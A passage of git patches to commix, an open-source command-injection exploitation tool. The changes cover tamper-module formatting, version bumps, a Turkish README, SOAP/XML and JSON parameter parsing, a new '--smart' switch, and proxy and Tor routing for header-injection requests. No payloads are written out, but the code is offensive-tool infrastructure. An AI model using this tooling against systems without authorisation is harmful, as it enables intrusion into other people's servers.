a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py index 1a56ebde91..98ff400547 100644 --- a/src/core/tamper/doublequotes.py +++ b/src/core/tamper/doublequotes.py @@ -42,7 +42,7 @@ def add_double_quotes(payload): for word in settings.IGNORE_TAMPER_TRANSFORMATION: _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) if _ in payload: - payload = payload.replace(_,_.replace(obf_char,"")) + payload = payload.replace(_,_.replace(obf_char, "")) return payload if settings.EVAL_BASED_STATE != False: diff --git a/src/core/tamper/singlequotes.py b/src/core/tamper/singlequotes.py index 7820579b49..bb3849ea68 100644 --- a/src/core/tamper/singlequotes.py +++ b/src/core/tamper/singlequotes.py @@ -34,7 +34,7 @@ def add_single_quotes(payload): for word in settings.IGNORE_TAMPER_TRANSFORMATION: _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) if _ in payload: - payload = payload.replace(_,_.replace(obf_char,"")) + payload = payload.replace(_,_.replace(obf_char, "")) return payload if settings.TARGET_OS != settings.OS.WINDOWS: diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py index 98f05c9536..16d9d0adaf 100644 --- a/src/core/tamper/uninitializedvariable.py +++ b/src/core/tamper/uninitializedvariable.py @@ -38,7 +38,7 @@ def add_uninitialized_variable(payload): for word in settings.IGNORE_TAMPER_TRANSFORMATION: _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) if _ in payload: - payload = payload.replace(_,_.replace(obf_char,"")) + payload = payload.replace(_,_.replace(obf_char, "")) return payload if settings.TARGET_OS != settings.OS.WINDOWS: diff --git a/src/utils/settings.py b/src/utils/settings.py index 8342b5830f..719535d7ee 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "2" +REVISION = "3" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: diff --git a/src/utils/update.py b/src/utils/update.py index 10dd38d3ed..7be767c008 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -133,9 +133,9 @@ def check_for_update(): if "VERSION_NUM = " in line: update_version = line.replace("VERSION_NUM = ", "").replace("\"", "") break - if (int(settings.VERSION_NUM.replace(".","")[:2]) < int(update_version.replace(".","")[:2])) or \ - ((int(settings.VERSION_NUM.replace(".","")[:2]) == int(update_version.replace(".","")[:2])) and \ - int(settings.VERSION_NUM.replace(".","")[2:]) < int(update_version.replace(".","")[2:])): + if (int(settings.VERSION_NUM.replace(".", "")[:2]) < int(update_version.replace(".", "")[:2])) or \ + ((int(settings.VERSION_NUM.replace(".", "")[:2]) == int(update_version.replace(".", "")[:2])) and \ + int(settings.VERSION_NUM.replace(".", "")[2:]) < int(update_version.replace(".", "")[2:])): while True: message = "Do you want to update to the latest version now? [Y/n] > " do_update = common.read_input(message, default="Y", check_batch=True) @@ -215,13 +215,13 @@ def check_unicorn_version(current_version): for line in latest_version: line = line.rstrip() if "Magic Unicorn Attack Vector v" in line: - latest_version = line.replace("Magic Unicorn Attack Vector v", "").replace(settings.SINGLE_WHITESPACE, "").replace("-","").replace("\"","").replace(")","") + latest_version = line.replace("Magic Unicorn Attack Vector v", "").replace(settings.SINGLE_WHITESPACE, "").replace("-", "").replace("\"", "").replace(")", "") break if len(current_version) == 0 or \ - (int(current_version.replace(".","")[:2]) < int(latest_version.replace(".","")[:2])) or \ - ((int(current_version.replace(".","")[:2]) == int(latest_version.replace(".","")[:2])) and \ - int(current_version.replace(".","")[2:]) < int(latest_version.replace(".","")[2:])): + (int(current_version.replace(".", "")[:2]) < int(latest_version.replace(".", "")[:2])) or \ + ((int(current_version.replace(".", "")[:2]) == int(latest_version.replace(".", "")[:2])) and \ + int(current_version.replace(".", "")[2:]) < int(latest_version.replace(".", "")[2:])): if len(current_version) != 0: warn_msg = "Current version of TrustedSec's Magic Unicorn (" + current_version + ") seems to be out-of-date." From cb16919f8b5836f336b68ee57a632db4d0b6e799 Mon Sep 17 00:00:00 2001 From: Kazgangap <90972683+Kazgangap@users.noreply.github.com> Date: Fri, 8 Sep 2023 10:00:00 +0300 Subject: [PATCH 0338/1023] Turkish translation added --- doc/translations/README-tr-TR.md | 51 ++++++++++++++++++++++++++++++++ 1 file changed, 51 insertions(+) create mode 100644 doc/translations/README-tr-TR.md diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md new file mode 100644 index 0000000000..869ce65dcd --- /dev/null +++ b/doc/translations/README-tr-TR.md @@ -0,0 +1,51 @@ + +

+ CommixProject +

+ Builds Tests + Python 2.6|2.7|3.x + GPLv3 License + GitHub closed issues + Twitter +

+

+ + +**Commix** ([comm]and [i]njection e[x]ploiter'ın kısaltması), **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://twitter.com/ancst)**) tarafından yazılan ve **[Komut enjeksiyonu](https://www.owasp.org/index.php/Command_Injection)** güvenlik açıklarının tespitini ve istismarını otomatikleştiren açık kaynaklı bir sızma testi aracıdır. + +![Screenshot](https://commixproject.com/images/background.png) + +Wiki'deki bazı özellikleri gösteren [ekran görüntüleri koleksiyonunu](https://github.com/commixproject/commix/wiki/Screenshots) ziyaret edebilirsiniz. + + +## Kurulum + +Resmi Git deposunu klonlayarak commix'i herhangi bir platformda indirebilirsiniz : + + + $ git clone https://github.com/commixproject/commix.git commix + +Alternatif olarak, en son [tarball](https://github.com/commixproject/commix/tarball/master) veya [zipball](https://github.com/commixproject/commix/zipball/master) olarak indirebilirsiniz. + +*__Not:__ **[Python](http://www.python.org/download/)** (sürüm **2.6**, **2.7** veya **3.x**) commix'i çalıştırmak için gereklidir.* + + + + + + +## Kullanım + +Seçeneklerinizi görmek ve yardım almak için aşağıdaki komutu girin: + + $ python commix.py -h + +Mevcut commix seçenekleri veya commix'in nasıl kullanılacağına dair temel fikirler hakkında bilgi edinmek amacıyla **[kullanım kılavuzu](https://github.com/commixproject/commix/wiki/Usage)**, **[kullanım örnekleri](https://github.com/commixproject/commix/wiki/Usage-Examples)** ve **[filtre bypassları](https://github.com/commixproject/commix/wiki/Filters-Bypasses)** wiki sayfalarını ziyaret edebilirsiniz. + + +## Links + +* Kullanım kılavuzu: https://github.com/commixproject/commix/wiki +* Sorun takibi: https://github.com/commixproject/commix/issues + + From 5fc4f2a388716d980743f0fd0ad9b5b3a822962d Mon Sep 17 00:00:00 2001 From: Kazgangap <90972683+Kazgangap@users.noreply.github.com> Date: Fri, 8 Sep 2023 10:02:04 +0300 Subject: [PATCH 0339/1023] Update README-tr-TR.md --- doc/translations/README-tr-TR.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md index 869ce65dcd..a2d1c339ac 100644 --- a/doc/translations/README-tr-TR.md +++ b/doc/translations/README-tr-TR.md @@ -43,7 +43,7 @@ Seçeneklerinizi görmek ve yardım almak için aşağıdaki komutu girin: Mevcut commix seçenekleri veya commix'in nasıl kullanılacağına dair temel fikirler hakkında bilgi edinmek amacıyla **[kullanım kılavuzu](https://github.com/commixproject/commix/wiki/Usage)**, **[kullanım örnekleri](https://github.com/commixproject/commix/wiki/Usage-Examples)** ve **[filtre bypassları](https://github.com/commixproject/commix/wiki/Filters-Bypasses)** wiki sayfalarını ziyaret edebilirsiniz. -## Links +## Linkler * Kullanım kılavuzu: https://github.com/commixproject/commix/wiki * Sorun takibi: https://github.com/commixproject/commix/issues From 37022bccbb09393d620281fe859416657c1b1a4c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 11 Sep 2023 08:41:59 +0300 Subject: [PATCH 0340/1023] Update regarding commit https://github.com/commixproject/commix/commit/dcf98d648a2d3664432721adbac2a4d80230f0b5 --- README.md | 3 ++- doc/THANKS.md | 1 + 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index a014f7fc26..acde50f1bc 100644 --- a/README.md +++ b/README.md @@ -43,6 +43,7 @@ To get an overview of commix available options, switches and/or basic ideas on h ## Translations +* [Farsi(Persian)](https://github.com/commixproject/commix/blob/master/doc/translations/README-fa-FA.md) * [Greek](https://github.com/commixproject/commix/blob/master/doc/translations/README-gr-GR.md) * [Indonesian](https://github.com/commixproject/commix/blob/master/doc/translations/README-idn-IDN.md) -* [Farsi(Persian)](https://github.com/commixproject/commix/blob/master/doc/translations/README-fa-FA.md) \ No newline at end of file +* [Turkish](https://github.com/commixproject/commix/blob/master/doc/translations/README-tr-TR.md) diff --git a/doc/THANKS.md b/doc/THANKS.md index 08c0cc1482..9fc8ad2be6 100755 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -7,6 +7,7 @@ * Thanks [m3g9tr0n](https://twitter.com/m3g9tr0n) for a donation. ## List of individual contributors: +* Thanks [Kazgangap](https://github.com/Kazgangap) for contributing a Turkish translation of README.md. * Thanks [0xFred](https://github.com/0xFred) for contributing code. * Thanks [verfosec](https://github.com/verfosec) for contributing a Farsi(Persian) translation of README.md. * Thanks [daniruiz](https://github.com/daniruiz) for contributing code. From 4356ea85c4fa33d08690faa975505c579ae42489 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 23 Sep 2023 19:18:29 +0300 Subject: [PATCH 0341/1023] Potential fix for https://github.com/commixproject/commix/issues/861 Minor improvement regarding parsing SOAP/XML POST data --- doc/CHANGELOG.md | 3 +++ src/core/requests/parameters.py | 22 +++++++++++----------- src/utils/settings.py | 2 +- 3 files changed, 15 insertions(+), 12 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index a7e9dd3fac..880ead5dde 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,3 +1,6 @@ +## Version 3.9 (TBA) +* Revised: Minor improvement regarding parsing SOAP/XML POST data. + ## Version 3.8 (2023-08-14) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Minor improvement regarding parsing raw HTTP request from a file (i.e. `-r` option). diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index ed92072ed3..4d2f8fef87 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -355,7 +355,8 @@ def multi_params_get_value(param, all_params): def vuln_POST_param(parameter, url): if isinstance(parameter, list): parameter = " ".join(parameter) - # JSON data format + + # JSON data format. if settings.IS_JSON: param = re.sub(settings.IGNORE_SPECIAL_CHAR_REGEX, '', parameter.split(settings.INJECT_TAG)[0]) if param: @@ -367,17 +368,16 @@ def vuln_POST_param(parameter, url): vuln_parameter = vuln_parameter[0].split(":")[0] vuln_parameter = ''.join(vuln_parameter) - # XML data format + # XML data format. elif settings.IS_XML: - if re.findall(r"" + settings.INJECT_TAG + "([^>]+)", parameter): - vuln_parameter = re.findall(r"" + settings.INJECT_TAG + "([^>]+)", parameter) - vuln_parameter = re.findall(r"" + "([^]+)" + settings.INJECT_TAG, parameter)[0] - vuln_parameter = ''.join(vuln_parameter) + parameters = list(parameter.replace(">" + settings.END_LINE[1] + "'), '', item) + _ = (re.search('<(.*)>' + result + '', item)) + if (_.groups()[0]) == (_.groups()[1]): + vuln_parameter = ''.join(_.groups()[0]) + settings.TESTABLE_VALUE = result.split(settings.INJECT_TAG)[0] # Regular POST data format. else: diff --git a/src/utils/settings.py b/src/utils/settings.py index 719535d7ee..ae4e96576d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "3" +REVISION = "4" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 7f85ce55e6cba33404188d023cc5e419df17304d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 29 Sep 2023 09:39:37 +0300 Subject: [PATCH 0342/1023] Minor update regarding commit: https://github.com/commixproject/commix/commit/4356ea85c4fa33d08690faa975505c579ae42489 --- src/core/requests/parameters.py | 5 +++++ src/utils/settings.py | 2 +- 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 4d2f8fef87..5ecaeaa2d8 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -377,6 +377,11 @@ def vuln_POST_param(parameter, url): _ = (re.search('<(.*)>' + result + '', item)) if (_.groups()[0]) == (_.groups()[1]): vuln_parameter = ''.join(_.groups()[0]) + if settings.WILDCARD_CHAR_APPLIED: + try: + settings.POST_WILDCARD_CHAR = result.split(settings.INJECT_TAG)[1] + except Exception: + pass settings.TESTABLE_VALUE = result.split(settings.INJECT_TAG)[0] # Regular POST data format. diff --git a/src/utils/settings.py b/src/utils/settings.py index ae4e96576d..1490769113 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "4" +REVISION = "5" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 4b12765cf6afb08837f4bce2c6e1c194159f5499 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 6 Oct 2023 20:03:06 +0300 Subject: [PATCH 0343/1023] Minor update --- src/core/requests/parameters.py | 9 +++++++-- src/utils/settings.py | 2 +- 2 files changed, 8 insertions(+), 3 deletions(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 5ecaeaa2d8..d328382c62 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -364,9 +364,14 @@ def vuln_POST_param(parameter, url): param = param.split("(")[1] vuln_parameter = param.split(",")[-1:] if ":" in vuln_parameter[0]: + result = vuln_parameter[0].split(":")[0] + if settings.WILDCARD_CHAR_APPLIED: + try: + settings.POST_WILDCARD_CHAR = re.sub(settings.IGNORE_SPECIAL_CHAR_REGEX, '', parameter.split(settings.INJECT_TAG)[1]).split(",")[0] + except Exception: + pass settings.TESTABLE_VALUE = vuln_parameter[0].split(":")[1] - vuln_parameter = vuln_parameter[0].split(":")[0] - vuln_parameter = ''.join(vuln_parameter) + vuln_parameter = ''.join(result) # XML data format. elif settings.IS_XML: diff --git a/src/utils/settings.py b/src/utils/settings.py index 1490769113..62cefa455a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "5" +REVISION = "6" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From efb6e21fb2bc5b7de9fc5db47e1a892d7296d4ac Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 13 Oct 2023 09:52:11 +0300 Subject: [PATCH 0344/1023] Minor update --- src/core/requests/parameters.py | 1 + src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index d328382c62..f38d91dd15 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -77,6 +77,7 @@ def multi_params_get_value(parameter): # Split parameters try: multi_parameters = parameters.split(settings.PARAMETER_DELIMITER) + multi_parameters = [x for x in multi_parameters if x] except ValueError as err_msg: print(settings.print_critical_msg(err_msg)) raise SystemExit() diff --git a/src/utils/settings.py b/src/utils/settings.py index 62cefa455a..0334e7f991 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "6" +REVISION = "7" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From fc6e8a997702e65640f5b340048cbf56bb7c7915 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 19 Oct 2023 08:15:56 +0300 Subject: [PATCH 0345/1023] Added switch `--smart` for conducting through tests only in case of positive heuristic(s). --- doc/CHANGELOG.md | 1 + src/core/injections/controller/controller.py | 73 +++++++++++--------- src/utils/menu.py | 6 ++ src/utils/settings.py | 5 +- 4 files changed, 51 insertions(+), 34 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 880ead5dde..d5e82addcc 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.9 (TBA) +* Added: New switch `--smart` for conducting through tests only in case of positive heuristic(s). * Revised: Minor improvement regarding parsing SOAP/XML POST data. ## Version 3.8 (2023-08-14) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 1846a1892e..22357daeb0 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -309,7 +309,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time info_msg = "Setting " + settings.CHECKING_PARAMETER + " for tests." print(settings.print_info_msg(info_msg)) - + if menu.options.skip_heuristics: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Skipping heuristic (basic) tests to the " + settings.CHECKING_PARAMETER + "." @@ -331,44 +331,51 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time checks.skip_command_injection_tests() if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: + settings.HEURISTIC_TEST.POSITIVE = False warn_msg = "Heuristic (basic) tests shows that " warn_msg += settings.CHECKING_PARAMETER + " might not be injectable." print(settings.print_bold_warning_msg(warn_msg)) - if menu.options.failed_tries and \ - menu.options.tech and not "f" in menu.options.tech and not \ - menu.options.failed_tries: - warn_msg = "Due to the provided (unsuitable) injection technique" - warn_msg += "s"[len(menu.options.tech) == 1:][::-1] + ", " - warn_msg += "the option '--failed-tries' will be ignored." - print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) - - # Procced with file-based semiblind command injection technique, - # once the user provides the path of web server's root directory. - if menu.options.web_root and \ - menu.options.tech and not "f" in menu.options.tech: - if not menu.options.web_root.endswith("/"): - menu.options.web_root = menu.options.web_root + "/" - if checks.procced_with_file_based_technique(): - menu.options.tech = "f" - - if settings.SKIP_COMMAND_INJECTIONS: - dynamic_code_evaluation_technique(url, timesec, filename, http_request_method) + if (menu.options.smart and not settings.HEURISTIC_TEST.POSITIVE) or (menu.options.smart and menu.options.skip_heuristics): + info_msg = "Skipping " + info_msg += settings.CHECKING_PARAMETER + "." + print(settings.print_info_msg(info_msg)) + settings.HEURISTIC_TEST.POSITIVE = True else: - classic_command_injection_technique(url, timesec, filename, http_request_method) - if not settings.IDENTIFIED_COMMAND_INJECTION: + if menu.options.failed_tries and \ + menu.options.tech and not "f" in menu.options.tech and not \ + menu.options.failed_tries: + warn_msg = "Due to the provided (unsuitable) injection technique" + warn_msg += "s"[len(menu.options.tech) == 1:][::-1] + ", " + warn_msg += "the option '--failed-tries' will be ignored." + print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) + + # Procced with file-based semiblind command injection technique, + # once the user provides the path of web server's root directory. + if menu.options.web_root and \ + menu.options.tech and not "f" in menu.options.tech: + if not menu.options.web_root.endswith("/"): + menu.options.web_root = menu.options.web_root + "/" + if checks.procced_with_file_based_technique(): + menu.options.tech = "f" + + if settings.SKIP_COMMAND_INJECTIONS: dynamic_code_evaluation_technique(url, timesec, filename, http_request_method) - timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) - filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) - - # All injection techniques seems to be failed! - if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False : - warn_msg = "The tested" - if header_name != " cookie" and the_type != " HTTP header": - warn_msg += " " + str(http_request_method) + "" - warn_msg += str(the_type) + str(header_name) + str(check_parameter) - warn_msg += " does not seem to be injectable." - print(settings.print_bold_warning_msg(warn_msg)) + else: + classic_command_injection_technique(url, timesec, filename, http_request_method) + if not settings.IDENTIFIED_COMMAND_INJECTION: + dynamic_code_evaluation_technique(url, timesec, filename, http_request_method) + timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) + filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) + + # All injection techniques seems to be failed! + if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False : + warn_msg = "The tested" + if header_name != " cookie" and the_type != " HTTP header": + warn_msg += " " + str(http_request_method) + "" + warn_msg += str(the_type) + str(header_name) + str(check_parameter) + warn_msg += " does not seem to be injectable." + print(settings.print_bold_warning_msg(warn_msg)) """ Inject HTTP headers (User-agent / Referer / Host) (if level > 2). diff --git a/src/utils/menu.py b/src/utils/menu.py index de31661fb1..732b56be58 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -546,6 +546,12 @@ def banner(): default=len(settings.SEPARATORS_LVL1) - 1, help="Set a number of failed injection tries, in file-based technique.") +detection.add_option("--smart", + action="store_true", + dest="smart", + default=False, + help="Perform thorough tests only if positive heuristic(s).") + # Miscellaneous options misc = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Miscellaneous" + Style.RESET_ALL) diff --git a/src/utils/settings.py b/src/utils/settings.py index 0334e7f991..a7f2f94e93 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "7" +REVISION = "8" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -303,6 +303,9 @@ def sys_argv_errors(): CMD_NUL = "" +class HEURISTIC_TEST(object): + POSITIVE = True + #Basic heuristic checks for command injections RAND_A = random.randint(1,10000) RAND_B = random.randint(1,10000) From 0fe1ef5f72411a8490943acb2ef791d049572d44 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 22 Oct 2023 09:59:57 +0300 Subject: [PATCH 0346/1023] Minor update --- src/core/main.py | 5 +++++ src/utils/settings.py | 2 +- 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/src/core/main.py b/src/core/main.py index d54e4c705b..918fe342c7 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -643,6 +643,11 @@ def main(filename, url): # Check if defined "--proxy" option. if menu.options.proxy: + if menu.options.tor: + err_msg = "The switch '--tor' is incompatible with option '--proxy'." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + for match in re.finditer(settings.PROXY_REGEX, menu.options.proxy): _, proxy_scheme, proxy_address, proxy_port = match.groups() if proxy_scheme: diff --git a/src/utils/settings.py b/src/utils/settings.py index a7f2f94e93..a91ffa0091 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "8" +REVISION = "9" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 982156017cc19fbd3ed05e23af05e1e02709a962 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 23 Oct 2023 08:36:30 +0300 Subject: [PATCH 0347/1023] Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option). --- doc/CHANGELOG.md | 1 + src/core/requests/requests.py | 185 +++++++++++----------------------- src/utils/settings.py | 2 +- 3 files changed, 63 insertions(+), 125 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index d5e82addcc..d6de249a72 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.9 (TBA) +* Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option). * Added: New switch `--smart` for conducting through tests only in case of positive heuristic(s). * Revised: Minor improvement regarding parsing SOAP/XML POST data. diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index fbbb33d92c..a983c343e4 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -388,8 +388,7 @@ def get_request_response(request): headers.check_http_traffic(request) if menu.options.proxy: try: - proxy = request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + response = proxy.use_proxy(request) except Exception as err_msg: response = request_failed(err_msg) elif menu.options.tor: @@ -410,12 +409,7 @@ def get_request_response(request): """ def cookie_injection(url, vuln_parameter, payload): - def inject_cookie(url, vuln_parameter, payload, proxy): - if proxy == None: - opener = _urllib.request.build_opener() - else: - opener = _urllib.request.build_opener(proxy) - + def inject_cookie(url, vuln_parameter, payload): if settings.TIME_RELATIVE_ATTACK : payload = _urllib.parse.quote(payload) @@ -436,7 +430,13 @@ def inject_cookie(url, vuln_parameter, payload, proxy): request.add_header('Cookie', menu.options.cookie.replace(settings.INJECT_TAG, payload)) try: headers.check_http_traffic(request) - response = opener.open(request) + if menu.options.proxy: + response = proxy.use_proxy(request) + # Check if defined Tor (--tor option). + elif menu.options.tor: + response = tor.use_tor(request) + else: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response except ValueError: pass @@ -446,24 +446,10 @@ def inject_cookie(url, vuln_parameter, payload, proxy): end = 0 start = time.time() - proxy = None - if menu.options.proxy: - try: - proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy}) - response = inject_cookie(url, vuln_parameter, payload, proxy) - except Exception as err_msg: - response = request_failed(err_msg) - elif menu.options.tor: - try: - proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT}) - response = inject_cookie(url, vuln_parameter, payload, proxy) - except Exception as err_msg: - response = request_failed(err_msg) - else: - try: - response = inject_cookie(url, vuln_parameter, payload, proxy) - except Exception as err_msg: - response = request_failed(err_msg) + try: + response = inject_cookie(url, vuln_parameter, payload) + except Exception as err_msg: + response = request_failed(err_msg) if settings.TIME_RELATIVE_ATTACK : end = time.time() @@ -477,12 +463,7 @@ def inject_cookie(url, vuln_parameter, payload, proxy): """ def user_agent_injection(url, vuln_parameter, payload): - def inject_user_agent(url, vuln_parameter, payload, proxy): - if proxy == None: - opener = _urllib.request.build_opener() - else: - opener = _urllib.request.build_opener(proxy) - + def inject_user_agent(url, vuln_parameter, payload): # Check if defined POST data if menu.options.data: menu.options.data = settings.USER_DEFINED_POST_DATA @@ -496,7 +477,13 @@ def inject_user_agent(url, vuln_parameter, payload, proxy): request.add_header('User-Agent', payload) try: headers.check_http_traffic(request) - response = opener.open(request) + if menu.options.proxy: + response = proxy.use_proxy(request) + # Check if defined Tor (--tor option). + elif menu.options.tor: + response = tor.use_tor(request) + else: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response except ValueError: pass @@ -506,24 +493,10 @@ def inject_user_agent(url, vuln_parameter, payload, proxy): end = 0 start = time.time() - proxy = None - if menu.options.proxy: - try: - proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy}) - response = inject_user_agent(url, vuln_parameter, payload, proxy) - except Exception as err_msg: - response = request_failed(err_msg) - elif menu.options.tor: - try: - proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT}) - response = inject_user_agent(url, vuln_parameter, payload, proxy) - except Exception as err_msg: - response = request_failed(err_msg) - else: - try: - response = inject_user_agent(url, vuln_parameter, payload, proxy) - except Exception as err_msg: - response = request_failed(err_msg) + try: + response = inject_user_agent(url, vuln_parameter, payload) + except Exception as err_msg: + response = request_failed(err_msg) if settings.TIME_RELATIVE_ATTACK : end = time.time() @@ -537,12 +510,7 @@ def inject_user_agent(url, vuln_parameter, payload, proxy): """ def referer_injection(url, vuln_parameter, payload): - def inject_referer(url, vuln_parameter, payload, proxy): - if proxy == None: - opener = _urllib.request.build_opener() - else: - opener = _urllib.request.build_opener(proxy) - + def inject_referer(url, vuln_parameter, payload): # Check if defined POST data if menu.options.data: menu.options.data = settings.USER_DEFINED_POST_DATA @@ -556,7 +524,13 @@ def inject_referer(url, vuln_parameter, payload, proxy): request.add_header('Referer', payload) try: headers.check_http_traffic(request) - response = opener.open(request) + if menu.options.proxy: + response = proxy.use_proxy(request) + # Check if defined Tor (--tor option). + elif menu.options.tor: + response = tor.use_tor(request) + else: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response except ValueError: pass @@ -566,25 +540,10 @@ def inject_referer(url, vuln_parameter, payload, proxy): end = 0 start = time.time() - proxy = None - # Check if defined any HTTP Proxy. - if menu.options.proxy: - try: - proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy}) - response = inject_referer(url, vuln_parameter, payload, proxy) - except Exception as err_msg: - response = request_failed(err_msg) - elif menu.options.tor: - try: - proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT}) - response = inject_referer(url, vuln_parameter, payload, proxy) - except Exception as err_msg: - response = request_failed(err_msg) - else: - try: - response = inject_referer(url, vuln_parameter, payload, proxy) - except Exception as err_msg: - response = request_failed(err_msg) + try: + response = inject_referer(url, vuln_parameter, payload) + except Exception as err_msg: + response = request_failed(err_msg) if settings.TIME_RELATIVE_ATTACK : end = time.time() @@ -600,7 +559,7 @@ def host_injection(url, vuln_parameter, payload): payload = _urllib.parse.urlparse(url).netloc + payload - def 